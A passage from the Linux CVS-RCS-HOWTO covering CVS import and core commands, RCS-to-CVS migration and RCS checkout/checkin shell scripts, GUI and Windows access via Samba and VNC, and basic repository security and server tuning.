# In example below user tom belongs to groups cvs, users and staff and user
# johnson belongs to group cvs only.
bash# usermod --help
bash# usermod -G cvs some_unix_username
bash# usermod -G cvs,users,staff tom
bash# usermod -G cvs,users,staroffice billclinton
bash# usermod -G cvs johnson
bash# exit    .... (logout of root superuser mode)

# Login as a user and import files into cvs....
bash$ su - billclinton
bash$ export EDITOR=/bin/vi
bash$ export CVSROOT=/home/cvsroot
bash$ export CVSREAD=yes

# Change directory is a must
bash$ cd $HOME/somedir/anotherdir/directory/my_source_code_dir

# Must give vendor tag and revision tag
cvs import somedir/anotherdir/directory/my_source_code_dir Vendor1_0 Rev1_0

# Also note that it is very important to give the directory tree starting
# from the $HOME, that is, in above example starting from somedir.
# For example I did:
bash$ cd $HOME/howto/foobar
bash$ cvs import howto/foobar Vendor1_0 Rev1_0

# Another example is:
bash$ cd $HOME/javafilesdir
bash$ cvs import javafilesdir Vendor1_0 Rev1_0

# A sample testing and verification:
bash$ cd $HOME/howto/foobar
bash$ cvs checkout myfoo.java

TROUBLESHOOTING: When doing checkout it says module is unknown. It is a common mistake not to change directory while doing cvs import. You MUST change directory to the source-code-directory and then do cvs import. For example:

bash$ cd $HOME/somedirectory/foobardir
bash$ cvs import somedirectory/foobardir Vendor1_0 Rev1_0

3.2 Migrate RCS to CVS

To migrate the existing RCS files to CVS, use the following script. Make sure that you installed the Korn shell package pdksh*.rpm from the Linux contrib cdrom.

NOTE : Get the Korn shell /bin/ksh by installing pdksh*.rpm from the Linux contrib cdrom

#!/bin/ksh

#############################################################
# Program to Migrate the existing source code in RCS to CVS
#
# Needs the korn shell RPM package  pdksh*.rpm from Linux
# contrib cdrom
#############################################################

#
# rcs2cvs - convert source tree from RCS to CVS
#

# project to convert
PROJECT='project'

# current RCS root
RCSROOT="$HOME/rcs"

if cd "$RCSROOT/$PROJECT"
then
        cd "$RCSROOT"
else
        echo >&2 "`basename "$0"`: can't change to RCS directory '$RCSROOT/$PROJECT'."
        exit 1
fi

# current CVS root
CVSROOT="$HOME/cvs"

# create new CVS directory for project 'project'
if mkdir "$CVSROOT/$PROJECT"
then
        :
else
        echo >&2 "`basename "$0"`: can't create CVS directory '$CVSROOT/$PROJECT'."
        exit 2
fi

# create CVS project tree from RCS tree
find "$PROJECT" -type d -name RCS -print |
while read RCS
do
        CVS="`dirname "$RCS"`"
        (if cd "$RCS"
        then
#               if find . -type f -name '*,v' -print | cpio -pdmv "$CVSROOT/$CVS"
                if find . -type f -print | cpio -pdmv "$CVSROOT/$CVS"
                then
                        :
                else
                        echo >&2 "`basename "$0"`: can't convert RCS subdirectory '$RCSROOT/$RCS' to CVS subdirectory '$CVSROOT/$CVS'."
                fi
        else
                echo >&2 "`basename "$0"`: can't change to RCS subdirectory '$RCSROOT/$RCS'."
        fi)
done
Now the RCS is migrated to CVS as 'project'. You can start using the CVS commands on module 'project'.


CVS-RCS-HOWTO Document for Linux (Source Code Control System): Intro to CVS Commands

 Next Previous Contents

4. Intro to CVS Commands

CVS provides a rich variety of commands (cvs_command in the Synopsis), each of which often has a wealth of options, to satisfy the many needs of source management in distributed environments. However, you don't have to master every detail to do useful work with CVS; in fact, five commands are sufficient to use (and contribute to) the source repository. The most commonly used CVS commands are: checkout, update, add, remove, commit and diff.

4.1 checkout

cvs checkout modules... A necessary preliminary for most CVS work: creates your private copy of the source for modules (named collections of source; you can also use a path relative to the source repository here). You can work with this copy without interfering with others' work. At least one subdirectory level is always created.

bash$ cvs --help checkout
Usage:
  cvs checkout [-ANPRcflnps] [-r rev | -D date] [-d dir]
    [-j rev1] [-j rev2] [-k kopt] modules...
        -A      Reset any sticky tags/date/kopts.
        -N      Don't shorten module paths if -d specified.
        -P      Prune empty directories.
        -R      Process directories recursively.
        -c      "cat" the module database.
        -f      Force a head revision match if tag/date not found.
        -l      Local directory only, not recursive
        -n      Do not run module program (if any).
        -p      Check out files to standard output (avoids stickiness).
        -s      Like -c, but include module status.
        -r rev  Check out revision or tag. (implies -P) (is sticky)
        -D date Check out revisions as of date. (implies -P) (is sticky)
        -d dir  Check out into dir instead of module name.
        -k kopt Use RCS kopt -k option on checkout.
        -j rev  Merge in changes made between current revision and rev.
(Specify the --help global option for a list of other help options)

4.2 update

cvs update Execute this command from within your private source directory when you wish to update your copies of source files from changes that other developers have made to the source in the repository.

bash$ cvs --help update
Usage: cvs update [-APdflRp] [-k kopt] [-r rev|-D date] [-j rev]
    [-I ign] [-W spec] [files...]
        -A      Reset any sticky tags/date/kopts.
        -P      Prune empty directories.
        -d      Build directories, like checkout does.
        -f      Force a head revision match if tag/date not found.
        -l      Local directory only, no recursion.
        -R      Process directories recursively.
        -p      Send updates to standard output (avoids stickiness).
        -k kopt Use RCS kopt -k option on checkout.
        -r rev  Update using specified revision/tag (is sticky).
        -D date Set date to update from (is sticky).
        -j rev  Merge in changes made between current revision and rev.
        -I ign  More files to ignore (! to reset).
        -W spec Wrappers specification line.
(Specify the --help global option for a list of other help options)

4.3 add

cvs add file... Use this command to enroll new files in CVS records of your working directory. The files will be added to the repository the next time you run `cvs commit'. Note: You should use the `cvs import' command to bootstrap new sources into the source repository. `cvs add' is only used for new files to an already checked-out module.

bash$ cvs --help add
Usage: cvs add [-k rcs-kflag] [-m message] files...
        -k      Use "rcs-kflag" to add the file with the specified kflag.
        -m      Use "message" for the creation log.
(Specify the --help global option for a list of other help options)

4.4 remove

cvs remove file... Use this command (after erasing any files listed) to declare that you wish to eliminate files from the repository. The removal does not affect others until you run `cvs commit'.

bash$ cvs --help remove
Usage: cvs remove [-flR] [files...]
        -f      Delete the file before removing it.
        -l      Process this directory only (not recursive).
        -R      Process directories recursively.
(Specify the --help global option for a list of other help options)

4.5 commit

cvs commit file... Use this command when you wish to ``publish'' your changes to other developers, by incorporating them in the source repository.

bash$ cvs --help commit
Usage: cvs commit [-nRlf] [-m msg | -F logfile] [-r rev] files...
        -n      Do not run the module program (if any).
        -R      Process directories recursively.
        -l      Local directory only (not recursive).
        -f      Force the file to be committed; disables recursion.
        -F file Read the log message from file.
        -m msg  Log message.
        -r rev  Commit to this branch or trunk revision.
(Specify the --help global option for a list of other help options)

4.6 diff

cvs diff file... Show differences between files in the working directory and source repository, or between two revisions in the source repository. (Does not change either repository or working directory.)

bash$ cvs --help diff
Usage: cvs diff [-lNR] [rcsdiff-options]
    [[-r rev1 | -D date1] [-r rev2 | -D date2]] [files...]
        -l      Local directory only, not recursive
        -R      Process directories recursively.
        -D d1   Diff revision for date against working file.
        -D d2   Diff rev1/date1 against date2.
        -N      include diffs for added and removed files.
        -r rev1 Diff revision for rev1 against working file.
        -r rev2 Diff rev1/date1 against rev2.
        --ifdef=arg     Output diffs in ifdef format.
(consult the documentation for your diff program for rcsdiff-options.
The most popular is -c for context diffs but there are many more).
(Specify the --help global option for a list of other help options)

4.7 Emacs Editor

Emacs is a powerful editor and it supports CVS/RCS - especially for revision merging and comparing. The main Emacs site is at http://www.gnu.org/software/emacs/emacs.html.


CVS-RCS-HOWTO Document for Linux (Source Code Control System): Strong, Weak or No Locking

 Next Previous Contents

5. Strong, Weak or No Locking

CVS is a powerful system and is highly customizable. CVS supports:

  • Strong locking with "reserved checkouts" via cvs admin -l or Shell Scripts . Also read the Reserved checkouts. Here is a patch ( http://www.cvshome.org/dev/patches/editf) from Eric Griswold for reserved checkouts.

  • Weak locking via 'cvs watch' features. Also see "cvs edit" to give a warning( http://www.cvshome.org/dev/text2/res2) if someone else is already editing the file.

  • No locking - the default permitting concurrent editing of files.


CVS-RCS-HOWTO Document for Linux (Source Code Control System): Shell Scripts

 Next Previous Contents

6. Shell Scripts

The following are wrappers around the basic CVS commands. These scripts give you initial booster-push into the CVS system and are useful until you become very familiar with the CVS commands. The scripts are written for Korn shell since it is always available on all flavors of Unix, but you can translate to bash or Perl if needed. You can customize these scripts to your taste. They are basically CVS commands, but features are added to make it site specific. For example, the sedit script provides locking so that users will know someone is editing the file. Of course users can directly use the CVS commands to bypass these scripts. These scripts demonstrate how CVS can be customized to a great extent.

NOTE: The wrapper shell scripts assume the user's home directory as the root and check out the tree from CVS to build the tree underneath user's home directory.

TIP: In these shell scripts, every target filename is composed of 3 parts - Home directory, sub-directory and the filename. The full-path is $HOME/$subdir/$fname And in CVS the same directory structure is maintained (by variable $subdir) therefore in cvs there will be something like $CVSROOT/$subdir/$fname. In all scripts, these 4 variables $HOME, $CVSROOT, $subdir and $fname play an important role. For example, sample values can be like HOME=/home/aldev, subdir=myproject/src, CVSROOT=/home/cvsroot, and fname=foo.cpp

Copy these scripts to /usr/local/bin and this should be in the user's PATH environment.

  1. sget [-r revision_number] <file/directory name> To get a file or entire directory from CVS in READ ONLY mode. Click sget
  2. sedit [-r revision_number] <filename> To edit a file in order to make changes to code. This will lock the file so that nobody else can check it out. Of course you can change the script to your requirement - make no locking, warning message, or very strong locking. Click sedit
  3. scommit [-r revision_number] <filename> To commit the changes you made to filename or entire directory. Upload your changes to CVS. Click scommit
  4. supdate <filename/directory> To update a filename or to update an entire directory by getting the latest files from CVS. Click supdate
  5. sunlock [-r revision_number] <filename> To unlock the file got by sedit. Will release the lock. Click sunlock
  6. slist To see the list of files currently being edited by you. Does 'ls -l | grep | ...' command. Click slist . Note that there is also another Unix command by the name slist (list available Netware servers). You should make sure cvs script slist comes before other in your PATH environment.
  7. sinfo <filename/directory> To get the information of changes/revisions to a file. Click sinfo
  8. slog <filename> To get the history of changes/revisions to a file from CVS. Click slog
  9. sdif <filename>

    sdif -r rev1 -r rev2 <filename> To get the diff of your file with CVS. Click sdif

    NOTE: sdif has only one 'f' because there is already another Unix command called 'sdiff'

  10. sadd <filename> To add a new file to CVS repository. Click sadd
  11. sdelete <filename> To delete a file from CVS repository. Click sdelete
  12. sfreeze <revision name> <directory name> To freeze the code, that is make a release of the entire source tree. Click sfreeze

    For example :

            cd $HOME;
        sfreeze REVISION_1_0  srctree
    This will freeze code with tag REVISION_1_0 so that you can later checkout the entire tree by using the revision name.

                ******************************************************


CVS-RCS-HOWTO Document for Linux (Source Code Control System): CVS Documentation

 Next Previous Contents

7. CVS Documentation

At Unix prompt type:

  1. cvs --help
  2. cvs --help-options
  3. cvs --help-commands
  4. cvs -H checkout
  5. cvs -H commit
  6. man cvs
  7. man tkcvs
  8. Visit http://www.cyclic.com
  9. Visit http://www.loria.fr/~molli/cvs-index.html

The tkcvs http://www.tkcvs.org is the Tcl/Tk GUI interface to CVS. It also has online help. Try the following:

  • cd $HOME/src/foo.cpp
  • tkcvs
  • Click on foo.cpp
  • Click on 'Revision Log Icon' which is located next to 'spectacle' icon.
  • This will display the branch TREE in the window. Now click the RIGHT Mouse button on the text '1.3' and click the LEFT Mouse button on text '1.1'. Then click on "Diff" button. This will display a two-pane window!!
  • Click on the "Next" button to step thru more diffs. Click on "Center" to center the text.

There is also a Windows 95 client for CVS called WinCVS (see: http://www.wincvs.org and cyclicsite). WinCVS can be used along with Samba(on cdrom samba*.rpm) - http://www.samba.org

The essential command are:

  • cvs checkout <filename >
  • cvs update <filename>
  • cvs add <file, ..>
  • cvs remove <file, ..>
  • cvs commit <file>
  • cvs status <filename>
  • cvs log <filename>
  • cvs diff -r1.4 -r1.5 <filename> This gives a diff between version 1.4 and 1.5 on filename.

7.1 Online Documentation

On Linux systems, you can find the CVS documentation in postscript format at /usr/doc/cvs*/*.ps. Also there is an FAQ and other useful information.

bash# cd /usr/doc/cvs*
bash# gv cvs.ps

7.2 CVS Org Documentation

The documentation on CVS from "CVS Organisation" is at http://www.cvshome.org/docs

The Official manual for CVS by Cederqvist is at http://www.cvshome.org/docs/manual/cvs.html

FAQ for CVS is at http://www.cs.utah.edu/dept/old/texinfo/cvs/FAQ.txt

7.3 CVS Training

  • http://rpmfind.net/tools/CVS/training/cvstrain.html
  • http://www.loria.fr/~molli/cvs/cvs-tut/cvs_tutorial_toc.html
  • http://atlas.web.cern.ch/Atlas/GROUPS/SOFTWARE/OO/tools/srt/
  • http://durak.org/cvswebsites/
  • http://www-users.informatik.rwth-aachen.de/~wge/tools/cvs/cvsclient/cvsclient_toc.html
  • http://www-users.informatik.rwth-aachen.de/~wge/tools/cvs.html

    General utilities for cvs (third party):

  • The textbook "Open Source Development with CVS" by Karl Fogel at http://cvsbook.red-bean.com has third-party-tools and mirror sites at Zevils
  • http://rcs.ee.washington.edu/spp/Projects/Manastash/Links/cvsbook_toc.html


CVS-RCS-HOWTO Document for Linux (Source Code Control System): Graphical Front Ends

 Next Previous Contents

8. Graphical Front Ends

The following GUI front ends for CVS are available:

  • Popular CVS GUI front end http://cervisia.sourceforge.net, get RPM packages at Cervisia RPMs
  • CVS home.org http://www.cvshome.org/dev/addons.html
  • CVS Web for windows http://www.devguy.com/fp/cfgmgmt/cvs/cvs_admin_nt.htm#CVSWEBIIS and at http://stud.fh-heilbronn.de/~zeller/cgi/cvsweb.cgi
  • TkCVS http://www.tkcvs.org is the Tcl/Tk GUI interface to CVS and at cyclicsite
  • gCVS: A portable GUI for the non-technical CVS user http://www.arachne.org/software/gcvs
  • jCVS is a CVS client package written entirely in Java http://www.jcvs.org And at cyclicsite
  • WinCVS http://www.cvshome.org/cyclic/cvs/soft-maccvs.html and at cyclicsite
  • Component soft Win CVS http://www.componentsoftware.com/cvs
  • JA-SIG UPortal CVS http://www.mis3.udel.edu/~jlaker/development
  • http://ppprs1.phy.tu-dresden.de/~trogisch/lincvs/lincvsen.html
  • http://www.loria.fr/~molli/cvs/doc/cvs_toc.html
It is very strongly recommended that you use Samba(on cdrom samba*.rpm) and a PC X Server on MS Windows 95/NT. By using Samba the remote directory on Unix will look like local folder on MS Windows. See the next section for PC X Server.

For Apple Macintosh - Mac OS: See MacCvs at http://www.cvsgui.org and MacCvsPro at http://www.maccvs.org


CVS-RCS-HOWTO Document for Linux (Source Code Control System): CVS for MS Windows 95/98/NT/2000

 Next Previous Contents

9. CVS for MS Windows 95/98/NT/2000

It is VERY STRONGLY recommended that you use Samba(on cdrom samba*.rpm) and a VNC viewer (or PC X Server) on MS Windows 95/NT. With samba the Unix/Linux CVS server will be like a file server. By using Samba the remote directory on Unix will look like a local folder on MS Windows on the local disk. Install samba*.rpm on Unix/Linux server(which has the CVS repository) and install the VNC viewer (or PC X server) on MS Windows 95/NT/2000 desktop. Using a VNC (or PC X server) you can easily log on to the Unix box and check-out/check-in the files. And you can use tools like Java Visual Cafe or Java JBuilder on MS Windows to edit the files located in Unix/Linux folder(via samba). After editing, you can check-in the files to Unix through VNC or PC X-server.

Advantages of using CVS on Linux/Unix via MS Windows are:

  • Only one single Linux File server (CVS server) can serve many MS Windows clients.
  • A Linux file server (CVS) is very robust, secure and reliable
  • Only one UPS (uninterrupted power supply) battery is required for a linux server.
  • Linux can serve as MS Windows folder through Samba package.
  • A Linux file server (CVS) supports centralised backups via tools like BRS, Arkeia, Bru mirrors at http://aldev0.webjump.com, angelfire, geocities, virtualave, 50megs, theglobe, NBCi, Terrashare, Fortunecity, Freewebsites, Tripod, Spree, Escalix, Httpcity, Freeservers.
  • A Linux file server (CVS) requires just one small server room which can air-contitioned and dust free. Small room keeps the cooling/heating costs down.
  • A Linux file server (CVS) provides security via Unix groups and user id authentication

The best tool for remote access is VNC. The VNC is lightweight and is much better than the PC X servers. The VNC is very strongly recommended over PC X server. The remote access methods available are:

  • VNC (Virtual Network Computing) at http://www.uk.research.att.com/vnc VNC is not an X-server but can display the remote Unix on Windows. VNC is the best tool in the market for remote access, it is very lightweight and is a very powerful software.

  • Get VNC rpms from rpmfind.

  • The best Window manager for VNC is QVWM which is like MS Windows 98/NT/2000 interface, get it from http://www.qvwm.org.

  • After starting vncserver, you can start the vncviewer program on clients like MS Windows, Mac or Linux.

  • See also the List of X11 Windows Managers.

Compiling qvwm on Solaris : On Solaris you should install the following packages which you can get from http://sun.freeware.com - xpm, imlib, jpeg, libungif, giflib, libpng, tiff. And you can download the binary package for solaris from http://www.qvwm.org.

Or you can download the qvwm source for solaris from http://www.qvwm.org and compile it using gcc.

Troubleshooting compile: You should put unsigned long before arg in usleep() usleep((unsigned long) 10000)

The following PC X servers are available:

  • Low cost, best and small size (3 MB) http://www.microimages.com and click on "X-Server (MI/X) for Windows"
  • Humming bird eXceed 14 MB http://www.hummingbird.com
  • Starnet 5.2 MB http://www.starnet.com

    There are more than 2 dozen vendors for X servers for Windows:

  • X-win pro 6.34 MB http://www.labf.com
  • X-WinPro http://lab-pro.com
  • X-Link http://www.xlink.com/x.htm
  • Xoftware http://www.age.com

    University resources:

  • University listings http://www.et.byu.edu/support/pc/xterm.html
  • Floppy based PC "X server" http://mirriwinni.cse.rmit.edu.au/~brad/co338/sem1/floppy.html

9.1 CVS exe for Windows 95/NT/2000

You can install and run CVS on MS Windows directly. Download cvsnt from http://www.cvsnt.org. See the installation instructions and other documents of CVS on NT/2000 at http://www.devguy.com/fp/cfgmgmt/cvs/cvs_admin_nt.htm#install.

9.2 Windows 95/NT/2000 FTP Tools

You can also use the ftp tools on MS Windows to transfer files from a Unix/Linux (CVS repository) to windows:

  • Go to Tucows and search "ftp tools" for MS Windows http://www.tucows.com

9.3 Visual Cafe(Java), JBuilder, MS Visual C++, HTML files

Using Samba and a PC X server it is possible to use CVS on MS Windows platform. And the tools like Symantec Visual Cafe (Java), Inprise JBuilder, MS Visual C++ and others are easily supported by CVS.

You can also store the HTML files on a CVS repository via Samba and easily access them from MS Windows.

9.4 Samba Admin tool

To administer samba use the admin tools from http://www.samba.org. Go here and click on "GUI Interfaces Tools".


CVS-RCS-HOWTO Document for Linux (Source Code Control System): Security of CVS Repository

 Next Previous Contents

10. Security of CVS Repository

To make a CVS server and CVS repository secure do the following:

  • Run CVS on a stand-alone Linux/Unix box, see Performance Tuning.
  • Remove unnecessary software packages from CVS linux box - to prevent external vandals running it. Just in case vandals break into the system, you do not want to give them a chance to run dangerous programs.
  • Consider SSH as given in the chapter Multi-User Repository
  • Consider Kerberos - install cvs-*-kerberos*.rpm package http://cvshome.org/dev/codelinux.html.
  • Visit http://www.cvshome.org and post your security questions in the mailing list.


CVS-RCS-HOWTO Document for Linux (Source Code Control System): Multi-User CVS Remote Repository

 Next Previous Contents

11. Multi-User CVS Remote Repository

The Cederqvist manual at http://cvshome.org/docs/manual/cvs_2.html#SEC30 describes how to setup CVS for external access.

In order to use CVS for a group, one has to set up a permissions system to allow people to access the system from other machines. There are three ways to do this (:server:, :pserver:, and :ext:). The pserver mechanism and use of rsh are both insecure. Only the :ext: (with ssh) offers sufficient security protection.

If you set CVS_RSH to SSH or some other rsh replacement, the instructions may be similar to `.rhosts' but consult the documentation for your rsh replacement.

To get ssh visit http://rpmfind.net and in the search box enter "ssh". Or visit http://www.redhat.com/apps/download and in the search box enter "ssh". Download and install the ssh RPM and then configure CVS to use it. See also http://www.ssh.org.

Note: If you plan to configure CVS for use with rsh then you MUST do this critical step:

bash# chmod 600 .rhosts

See also JA-SIG UPortal CVS repository http://www.mis3.udel.edu/~jlaker/development.


CVS-RCS-HOWTO Document for Linux (Source Code Control System): RCS Shell Scripts

 Next Previous Contents

12. RCS Shell Scripts

If you want to use RCS instead of CVS then you can use the following shell scripts.

12.1 cotree.sh

#!/bin/ksh

# cotree.sh (Check Out Tree shell script)
# cotree.sh - Check out the entire RCS directory

# Usage :
# This will get the all the directories
#       unix> cotree.sh
#
# This will get just one single directory tree
#       unix> cotree.sh <directory name>

# See also cofiles.sh

###############################################################
# Setting up RCS (Revision Control System)
# Install the RCS programs - which gives command co, ci, rcslog
# Create a rcs home directory where you want to put all the
# source code repository. Call this $RCSDIR=/home/rcs_version_control
# Setup up an environment variable RCSDIR=/home/rcs_version_control
# in $HOME/.profile file. Like -
#               export RCSDIR=/home/rcs_version_control
# Create a directory structure under $RCSDIR and check in all your
# files using ci . See 'man ci'
# Now create a link from your home directory to your project
# under $RCSDIR
#               cd $HOME
#               mkdir $HOME/myproject
#               cd $HOME/myproject
# and run this script to get all the files and directory tree
#               cotree.sh
# This script will create the entire source-tree under user's
# home and also will have a soft link to RCS directories. Each
# user will run this script under his home directory.
###############################################################

check_out_directory()
{
        # Root directory of RCS (revision control system)
        # like RCSDIR=/home/rcs_version_control
        RCSDIR=$1
        DIRNAME=$2

        # The given directory name must exist in rcs root directory
        if [ "$DIRNAME" = "" -o  ! -d $RCSDIR/$DIRNAME ]; then
                print "\nDirectory DIRNAME=$DIRNAME does not exist!!"
                print "\nAborting the program ... and exiting...\n"
                exit
        fi

        mkdir -p $DIRNAME
        ln -s $RCSDIR/$DIRNAME/RCS $DIRNAME
        (
                cd $DIRNAME

                # This fails in case of filename=sample,vv
                # which inside RCS will be RCS/sample,vv,v
                # ls RCS | cut -d',' -f1 | xargs co
                # Use match to end of name $, as below -
                # Use ls RCS/* to avoid getting the names ./ and ../
                #ls RCS/* | cut -d'/' -f2 | sed -e's/,v$//g' | xargs co
                if [ -d RCS ]; then
                        ls RCS/* | cut -d'/' -f2 | sed -e's/,v$//g' | \
                        while read ii
                        do
                                #echo "ii is : $ii"
                                if [ -f "RCS/$ii,v" ]; then
                                        co $ii
                                fi
                        done
                fi
        )
}

# Root directory of RCS (revision control system)
# like RCSDIR=/home/rcs_version_control
if [ "$RCSDIR" = "" -o ! -d $RCSDIR ]; then
        print "\nDirectory RCSDIR=$RCSDIR does not exist!!"
        print "\nAborting the program ... and exiting...\n"
        exit
fi
#echo "rcsdir is : $RCSDIR"

# If a directory argument is passed, then check out all
# files for this directory only and exit.
if [ "$1" != "" ]; then
        (cd $RCSDIR; find $1 -type d -print ) |
        while read DIRNAME
        do
                #echo DIRNAME=$DIRNAME
                #DIRNAME=c_src
                # Send rcs root directory and dir name relative to rcs root dir
                tmpaa=` basename $DIRNAME `
                if [ "$tmpaa" != "RCS" ]; then
                        check_out_directory $RCSDIR $DIRNAME
                fi
        done
else
        (cd $RCSDIR; find * -type d -print ) |
        while read DIRNAME
        do
                echo DIRNAME=$DIRNAME
                #DIRNAME=c_src
                # Send rcs root directory and dir name relative to rcs root dir
                tmpaa=` basename $DIRNAME `
                if [ "$tmpaa" != "RCS" ]; then
                        check_out_directory $RCSDIR $DIRNAME
                fi
        done
fi

12.2 cofiles.sh

#!/bin/ksh

# cofiles.sh (Check Out files shell script)
# cofiles.sh - Check out all the files in current directory from RCS
# See also cotree.sh and 'man rcsclean'

if [ ! -d RCS ]; then
        print "\nDirectory RCS does not exist!!"
        print "\nAborting the program ... and exiting...\n"
        exit
fi

#echo "No. of args = " $# " and all args " $@

while true
do
        print -n "\n\nCheck-out all files in read-write mode? <y/n> [n]: "
        read ans
        if [ "$ans" = "" -o "$ans" = "n" -o "$ans" = "N" ]; then
                ans="N"
                break
        elif [ "$ans" = "y" -o "$ans" = "Y" ]; then
                ans="Y"
                break
        else
                print "\nWrong entry! Try again!!"
        fi
done
#echo "The ans is : " $ans

if [ $# -eq 0 ]; then
        # The 'ls RCS' fails in case of filename=sample,vv in RCS/sample,vv,v
        # ls RCS | cut -d',' -f1 | xargs co
        # Use match to end of name $, as below -
        if [ "$ans" = "Y" ]; then
                ls RCS | sed -e's/,v$//g' | xargs co -l
        else
                ls RCS | sed -e's/,v$//g' | xargs co
        fi
elif [ $# -eq 1 ]; then
        if [ -f "RCS/$1,v" ]; then
                # Here, in this case $1 will be like dbalter.sql
                # and not like db*.sql....
                #echo "One arg, no. of args = " $# " and all args " $@
                if [ "$ans" = "Y" ]; then
                        co -l "$1"
                else
                        co "$1"
                fi
        else
                # For case where $1=db*.sql and there is no db*.sql in
                # current directory
                #echo "No files... no. of args = " $# " and all args " $@
                tmpaa="RCS/$1,v"  # will be like RCS/db*.sql,v
                ls $tmpaa | \
                while read ii
                do
                        #echo "ii is : $ii"
                        if [ "$ans" = "Y" ]; then
                                co -l "$ii"
                        else
                                co "$ii"
                        fi
                done
        fi
else
        for ii in $@
        do
                #echo "ii is : $ii,v"
                if [ "$ans" = "Y" ]; then
                        co -l "$ii"
                else
                        co "$ii"
                fi
        done
fi

12.3 ciall.sh

#!/bin/ksh

# ciall.sh (Check in files shell script)
# ciall.sh - Check in all the files in current directory into RCS
# This script is very useful for checking in enmass large number
# of new files into RCS. Saves time by avoiding to type the
# 'description' for every file
# And for files already in RCS, it does regular check-in command

# To convert filenames to lower case filenames, use this
# technique - use 'tr', see 'man tr'
#ls * | \
#while read ii
#do
#       jj=`echo $ii | tr [A-Z] [a-z] `
#       echo "ii is : $ii"
#       echo "jj is : $jj"
#       mv $ii $jj
#done

if [ ! -d RCS ]; then
        print "\nDirectory RCS does not exist!!"
        print "\nWill be creating RCS directory now ...\n"
        mkdir RCS
fi

print "\n\nNOTE: This is not log message!"
print "Please enter description (will be used for"
print -n "all the files checked in) : "
read description

# Option prune does not work, use -maxdepth 0
#find * -prune -type f |

# The number of args is zero or more....
if  [ $# -eq 0 ]; then
        listoffiles="*"
else
        listoffiles="$@"
fi

# Option prune does not work, use -maxdepth 0
#find $listoffiles -prune -type f |
find $listoffiles -maxdepth 0 -type f |
while read ii
do
        #echo $ii
        if [ -f "RCS/$ii,v" ]; then
                #print "The file $ii already in RCS"
                ci -m"$description" $ii
        else
                #print "The file $ii is new file"
                ci $ii << EOF
$description
EOF
        fi
done


CVS-RCS-HOWTO Document for Linux (Source Code Control System): Performance Tuning of a CVS Server

 Next Previous Contents

13. Performance Tuning of a CVS Server

For optimum performance a CVS server must be running on a stand alone Linux/Unix box.

To get more bang for a given CPU processing power, do the following:

  • Recompile the Linux kernel to make it small and lean. Remove items which are not used. See the kernel howto at http://www.linuxdoc.org/HOWTO/Kernel-HOWTO.html

  • Turn off unneccessary Unix processes - on Linux/Unix systems run chkconfig.
    bash$ su - root
bash# man chkconfig
bash# chkconfig --help
bash# chkconfig --list | grep on | less
From the above list, turn off the processes you do not want to start automatically -
bash# chkconfig --level 0123456 <service name> off
Next time when the machine is booted these services will not be started.
Now, shutdown the services manually which you just turned off.
bash# cd /etc/rc.d/init.d
bash# ./<service name> stop

  • Do not run any other application processes which are unnecessary.

  • Do not leave X Window running unattended because its processes consume memory and contribute to CPU load. It can also be a serious security hole from outside attacks. The X Window managers generally used are KDE, GNOME, CDE, XDM and others. You must exit the X Window immediately after using and most of the time you should see a command line console login prompt on the CVS server machine.


CVS-RCS-HOWTO Document for Linux (Source Code Control System): Problem Reporting System

 Next Previous Contents

14. Problem Reporting System

Along with CVS, you may want to use project tracking system or problem reporting system. Every software project needs a problem reporting system that track bugs and assigns them to various developers. See GNU gpl GNATS at http://www.gnu.org/software/gnats/gnats.html and http://dcl.sourceforge.net And commercial PRS at http://www.stonekeep.com look for a project tracking system.


CVS-RCS-HOWTO Document for Linux (Source Code Control System): Configuration Management System Tools

 Next Previous Contents

15. Configuration Management System Tools

What is Configuration Management (CM) ?

There are a number of different interpretations. It is about the tracking and control of software development and its activities. That is, it concerns the mangement of software development projects with respect to issues such as multiple developers working on the same code at the same time, targeting multiple platforms, supporting multiple versions, and controlling the status of code (for example a beta test versus a real release). Even within that scope there are different schools of thought:

  • Traditional Configuration Management - checkin/checkout control of sources (and sometimes binaries) and the ability to perform builds (or compiles) of the entities. Other functions may be included as well.
  • Process Management - control of the software development activities. For example, it might check to ensure that a change request existed and had been approved for fixing and that the associated design, documentation, and review activities have been completed before allowing the code to be "checked in" again.

While process management and control are necessary for a repeatable, optimized development process, a solid configuration management foundation for that process is essential.

Visit the following links:

  • FAQ on Configuration Management tools http://www.iac.honeywell.com/Pub/Tech/CM/CMFAQ.html
  • Linux version control and configuration management tools http://linas.org/linux/cmvc.html
  • Configuration Management systems http://www.cmtoday.com/yp/commercial.html
  • Configuration Management Tools http://www.iac.honeywell.com/Pub/Tech/CM/CMTools.html
  • DevGuy CVS config mgmt http://devguy.com/fp/cfgmgmt/cvs
  • Yahoo category site
  • Free config mgmt tool http://www.canb.auug.org.au/~millerp/aegis/aegis.html
  • Free CM tools http://www.loria.fr/cgi-bin/molli/cm/wilma/fcmt
  • Rational ClearCase tool http://www.rational.com/products/clearcase/prodinfo.jsp


CVS-RCS-HOWTO Document for Linux (Source Code Control System): Related Sites

 Next Previous Contents

16. Related Sites

Related URLs are at:

  • Linux goodies http://www.milkywaygalaxy.freeservers.com and mirrors at http://aldev0.webjump.com, angelfire, geocities, virtualave, 50megs, theglobe, NBCi, Terrashare, Fortunecity, Freewebsites, Tripod, Spree, Escalix, Httpcity, Freeservers.
  • CVS Bubbles http://www.loria.fr/~molli/cvs-index.html
  • CSSC (SCCS like system) http://cssc.sourceforge.net and mirror-site
  • SCCS for Linux http://www.bitmover.com/bitkeeper


CVS-RCS-HOWTO Document for Linux (Source Code Control System): SCCS v/s CVS-RCS

 Next Previous Contents

17. SCCS v/s CVS-RCS

SCCS (Source Code Control System) is no longer being enhanced or improved. The general consensus has been that this tool is clumsy and not suited to large numbers of users working on one project. Actually, SCCS interleaves all the versions, but it can make new development get progressively slower. Hence, SCCS is NOT recommended for new projects; however, it is still there to support old code base in SCCS.

RCS (Revision Control System) is often considered to be better than SCCS. One reason for this is that RCS baselines the most recent version and keeps deltas for earlier ones, making new development faster. Additional discussions concerning SCCS vs RCS are at http://www.faqs.org/faqs/unix-faq/faq/part7

Note that RCS learned from the mistakes of SCCS...

CVS, which requires RCS, extends RCS to control concurrent editing of sources by several users working on releases built from a hierarchical set of directories. "RCS is [analogous to using] assembly language, while CVS is [like using] Pascal".


CVS-RCS-HOWTO Document for Linux (Source Code Control System): Other Formats of this Document

 Next Previous Contents

18. Other Formats of this Document

This document is published in 14 different formats namely: DVI, Postscript, Latex, Adobe Acrobat PDF, LyX, GNU-info, HTML, RTF(Rich Text Format), Plain-text, Unix man pages, single HTML file, SGML (Linuxdoc format), SGML (Docbook format), and MS WinHelp format.

This howto document is located at:

